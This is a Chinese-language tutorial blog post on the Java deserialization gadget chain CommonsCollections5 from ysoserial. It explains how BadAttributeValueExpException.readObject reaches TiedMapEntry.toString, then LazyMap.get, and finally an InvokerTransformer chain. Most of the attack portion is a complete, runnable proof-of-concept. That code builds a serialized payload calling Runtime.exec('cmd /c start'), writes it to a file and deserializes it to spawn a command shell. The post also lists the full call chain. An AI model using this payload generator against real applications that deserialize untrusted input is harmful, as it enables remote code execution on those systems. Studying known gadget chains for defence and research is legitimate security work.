首页 > 编程语言 >JAVA反序列化学习-CommonsCollections5(基于ysoserial)

JAVA反序列化学习-CommonsCollections5(基于ysoserial)

时间:2024-11-19 16:20:53浏览次数:1  
标签:LazyMap JAVA val TiedMapEntry ysoserial Object new 序列化 valObj

环境准备

JDK1.8(8u421)我以本地的JDK8版本为准、commons-collections(3.x 4.x均可这里使用3.2版本)

cc3.2:

<dependency>
    <groupId>commons-collections</groupId>
    <artifactId>commons-collections</artifactId>
    <version>3.2</version>
</dependency>

正文

CC1攻击链:https://www.cnblogs.com/erosion2020/p/18553568

CC5是 CC1 的一个变种,CC1在JDK1.8之后对AnnotationInvocationHandler 进行了修复,使得攻击链不能被正常利用,在CC5提到的攻击链中使用了TiedMapEntry以及BadAttributeValueExpException来完成攻击链的触发。

让我们来看一下为什么通过这两个类可以完成攻击链的触发。

TiedMapEntry

TiedMapEntryCommons Collections 中的一个类,它主要用于将一个 Map 的键值对与其他对象绑定起来,形成一个 "绑定"(tied)关系。这个类的目的是允许 Map 条目(即键值对)与附加的对象(比如某些回调函数或特殊处理对象)一起存储。具体来说,TiedMapEntry 通过包装 Map 的条目,并与目标对象一起存储,来支持一些懒加载机制或触发特定的操作。

CC5中的应用

CC5(Commons Collections 5) 的攻击链中,TiedMapEntry 起到了关键的“桥梁”作用。攻击者利用 TiedMapEntryLazyMap 的结合来构建攻击链。

  1. LazyMap 的懒加载机制LazyMap 被用来延迟加载对象,攻击者通过将恶意代码与 LazyMap 绑定,延迟执行某些操作。TiedMapEntry 在这里负责将恶意的 LazyMap 对象和其他需要的对象绑定在一起。
  2. TiedMapEntryLazyMap 配合:攻击者可以将 TiedMapEntryLazyMap 一起使用,通过访问 LazyMap 中的条目,来触发懒加载的恶意代码。这个过程通常是在反序列化时自动发生的。
  3. 触发反序列化时的恶意操作:当反序列化包含 TiedMapEntry 的对象时,访问 TiedMapEntrygetValue() 方法会触发与之绑定的恶意操作,最终可能执行恶意代码。

关键代码分析

public class TiedMapEntry implements Map.Entry, KeyValue, Serializable {
    private static final long serialVersionUID = -8453869361373831205L;
    private final Map map;
    private final Object key;

    public TiedMapEntry(Map map, Object key) {
        this.map = map;
        this.key = key;
    }
	......
    public Object getKey() {
        return this.key;
    }
	// action1: 会执行到这个地方
    // 最终要把Map变成一个LazyMap,那这样的话就会触发LazyMap的get方法,而LazyMap中的get方法则会触发transformer方法
    public Object getValue() {
        return this.map.get(this.key);
    }
	// action0: 重点在这个方法中,他调用了getValue方法
    public String toString() {
        return this.getKey() + "=" + this.getValue();
    }
}

BadAttributeValueExpException

BadAttributeValueExpExceptionjavax.management 包中的一个类,通常用于描述与 Java Management Extensions (JMX) 相关的异常。该类的构造方法接受一个 Object 类型的参数 val,代表异常的具体值。

在安全漏洞利用中,BadAttributeValueExpException 常被用作反序列化攻击链的一部分。由于其 val 字段是可访问的,攻击者可以通过将恶意对象(例如 TiedMapEntry)赋值给该字段,间接触发恶意代码的执行。

CC5中的应用

CC5 攻击链中,BadAttributeValueExpException 是触发攻击链的关键对象之一。攻击者通过反序列化时将 TiedMapEntry 或其他恶意对象设置为 val 字段的值,使得反序列化过程中触发恶意的代码执行。

CC5 攻击链的具体应用:

  1. 构造 BadAttributeValueExpException:首先构造一个 BadAttributeValueExpException 对象,并通过反射将恶意的 TiedMapEntry 对象设置到 val 字段中。
  2. 触发反序列化:在反序列化过程中,BadAttributeValueExpExceptionval 字段会被访问,而这个字段绑定了一个 TiedMapEntry 对象。此时,TiedMapEntrygetValue() 方法被调用,从而触发 LazyMap 的懒加载操作。
  3. 执行恶意代码LazyMap 中的 Transformer 链会被触发,最终执行绑定的恶意操作(如执行命令、反向连接等)。

关键代码分析

public class BadAttributeValueExpException extends Exception   {
    private static final long serialVersionUID = -3105272988410493376L;
	// 要把val构造成一个TiedMapEntry,这样在执行反序列化方法readObject时就会触发TiedMapEntry.toString方法
    // 然后TiedMapEntry.toString方法会执行TiedMapEntry.getValue方法,然后会执行到LazyMap.get(this.key)
    // LazyMap.get方法中会调用Transformer.transformer方法,而这里的Transformer就是我们精心构造的TransformerChained
    private Object val;
    public BadAttributeValueExpException (Object val) {
        this.val = val == null ? null : val.toString();
    }

    private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
        ObjectInputStream.GetField gf = ois.readFields();
        Object valObj = gf.get("val", null);
        if (valObj == null) {
            val = null;
        } else if (valObj instanceof String) {
            val= valObj;
        } else if (System.getSecurityManager() == null
                || valObj instanceof Long
                || valObj instanceof Integer
                || valObj instanceof Float
                || valObj instanceof Double
                || valObj instanceof Byte
                || valObj instanceof Short
                || valObj instanceof Boolean) {
            // 重点是这个方法
            val = valObj.toString();
        } else { // the serialized object is from a version without JDK-8019292 fix
            val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
        }
    }
 }

构造POC

一样,这里还是直接把ysoserial的代码转换成本地可以直接执行调试的代码

public class CommonsCollections5 {
    static String serialFileName = "commons-collections5.ser";

    public static void main(String[] args) throws Exception {
        cc5byYsoSerial();
        verify();
    }

    public static void verify() throws Exception {
        // 本地模拟反序列化
        FileInputStream fis = new FileInputStream(serialFileName);
        ObjectInputStream ois = new ObjectInputStream(fis);
        Object ignore = (Object) ois.readObject();
    }

    public static void cc5byYsoSerial() throws Exception {
        String execArgs = "cmd /c start";
        final Transformer transformerChain = new ChainedTransformer(
                new Transformer[]{ new ConstantTransformer(1) });
        // real chain for after setup
        final Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {
                        String.class, Class[].class }, new Object[] {
                        "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {
                        Object.class, Object[].class }, new Object[] {
                        null, new Object[0] }),
                new InvokerTransformer("exec",
                        new Class[] { String.class }, new Object[]{execArgs}),
                new ConstantTransformer(1) };
        // 等同于ysoserial中的Reflections.setFieldValue(transformerChain, "iTransformers", transformers);写法
        Class<?> transformer = Class.forName(ChainedTransformer.class.getName());
        Field iTransformers = transformer.getDeclaredField("iTransformers");
        iTransformers.setAccessible(true);
        iTransformers.set(transformerChain, transformers);
        // 先创建LazyMap,用来将transformerChain包装成一个Map,当Map中的get方法被触发时就能直接触发到调用链
        final Map lazyMap = LazyMap.decorate(new HashMap(), transformerChain);

        TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");

        BadAttributeValueExpException val = new BadAttributeValueExpException(null);
        Field valfield = val.getClass().getDeclaredField("val");
        valfield.setAccessible(true);
        valfield.set(val, entry);

        FileOutputStream fos = new FileOutputStream(serialFileName);
        ObjectOutputStream oos = new ObjectOutputStream(fos);
        oos.writeObject(val);
        oos.flush();
        oos.close();
    }
}

调试

来弹个cmd

image-20241119161717938

调用链

其实和CC1的调用链非常非常像,只是攻击链的触发点不一样

  • ObjectInputStream.readObject()
    • BadAttributeValueExpException.readObject()
      • TiedMapEntry.toString()
        • TiedMapEntry.getValue()
          • LazyMap.get()
            • ChainedTransformer.transform()
              • ConstantTransformer.transform()
                • InvokerTransformer.transform()
                  • Method.invoke()
                  • Class.getMethod()
                • InvokerTransformer.transform()
                  • Method.invoke()
                  • Runtime.getRuntime()
                • InvokerTransformer.transform()
                  • Method.invoke()
                  • Runtime.exec()

标签:LazyMap,JAVA,val,TiedMapEntry,ysoserial,Object,new,序列化,valObj
From: https://www.cnblogs.com/erosion2020/p/18555069

相关文章

  • 来记录一下Java开发三年左右的心得体会
    Java开发三年心得大概一年多没有在CSDN上发表文章了,最近休息想来记录一下这几年的开发心得。深圳比亚迪的外包之路~开始北漂~24年被裁一周内又找到工作啦。最后的心得大概一年多没有在CSDN上发表文章了,最近休息想来记录一下这几年的开发心得。2021年大概冬天的时候......
  • java中使用Jackson代替fastjson进行序列化处理
    方法详解这里会列出常用方法的详解,更多方法可查阅jacksonapi文档ObjectMapper类是Jackson库的主要类。它提供一些功能将转换成Java对象匹配JSON结构对象转json字符串ObjectMapper通过writeValue系列方法将java对象序列化为json,并将json存储成不同的格式:String(writeVa......
  • 大学生HTML期末大作业——HTML+CSS+JavaScript南宁绿城
    HTML+CSS+JS【旅游网站】网页设计期末课程大作业web前端开发技术web课程设计网页规划与设计......
  • Java防止反编译的技术方案
    背景由于Java字节码的抽象级别较高,因此它们较容易被反编译。本文介绍了几种常用的方法,用于保护Java字节码不被反编译。通常,这些方法不能够绝对防止程序被反编译,而是加大反编译的难度而已,因为这些方法都有自己的使用环境和弱点。不同保护技术比较表以下几种技术都有不同的应用......
  • JAVA反序列化学习-CommonsCollections4(基于ysoserial)
    环境准备JDK1.8(8u421)这里ysoserial没有提及JDK版本的影响,我以本地的JDK8版本为准、commons-collections4(4.0以ysoserial给的版本为准)、javassist(3.12.1.GA)cc4.0、ClassPool<dependency><groupId>org.apache.commons</groupId><artifactId>commons-collections......
  • python+vue基于django/flask的连锁超市销售管理系统(超市库存与销售管理平台)java+nodej
    目录技术栈和环境说明具体实现截图预期达到的目标系统设计详细视频演示技术路线解决的思路性能/安全/负载方面可行性分析论证python-flask核心代码部分展示python-django核心代码部分展示研究方法感恩大学老师和同学源码获取技术栈和环境说明本系统以Python开发语言......
  • python+vue基于django/flask的奖学金评定系统(奖学金申请与管理平台)java+nodejs+php-计
    目录技术栈和环境说明具体实现截图预期达到的目标系统设计详细视频演示技术路线解决的思路性能/安全/负载方面可行性分析论证python-flask核心代码部分展示python-django核心代码部分展示研究方法感恩大学老师和同学源码获取技术栈和环境说明本系统以Python开发语言......
  • python+vue基于django/flask的同城篮球赛事场地预约系统java+nodejs+PHP-计算机毕业设
    目录技术栈和环境说明具体实现截图预期达到的目标系统设计详细视频演示技术路线解决的思路性能/安全/负载方面可行性分析论证python-flask核心代码部分展示python-django核心代码部分展示研究方法感恩大学老师和同学源码获取技术栈和环境说明本系统以Python开发语言......
  • Java之Spring MVC篇三
    ​​​​​​​目录响应返回静态页面@RestController和@Controller的区别和联系返回数据@ResponseBody关于@ResponseBody返回HTML代码片段返回JSON设置状态码设置Header设置Content-Type没设置Content-Type之前设置Content-Type之后响应返回静态页面首先......
  • Java的类加载
    1.加载的时机(加载阶段虚拟机需要完成3件事)a.通过一个类的全限定名来获取定义此类的二进制字节流 b.将这个字节流所代表的的静态存储结构转化为方法区的运行时数据结构c.在内存中生成一个代表这个类的java.lang.Class对象,作业方法区这个类的各种数据的访问入口2.验......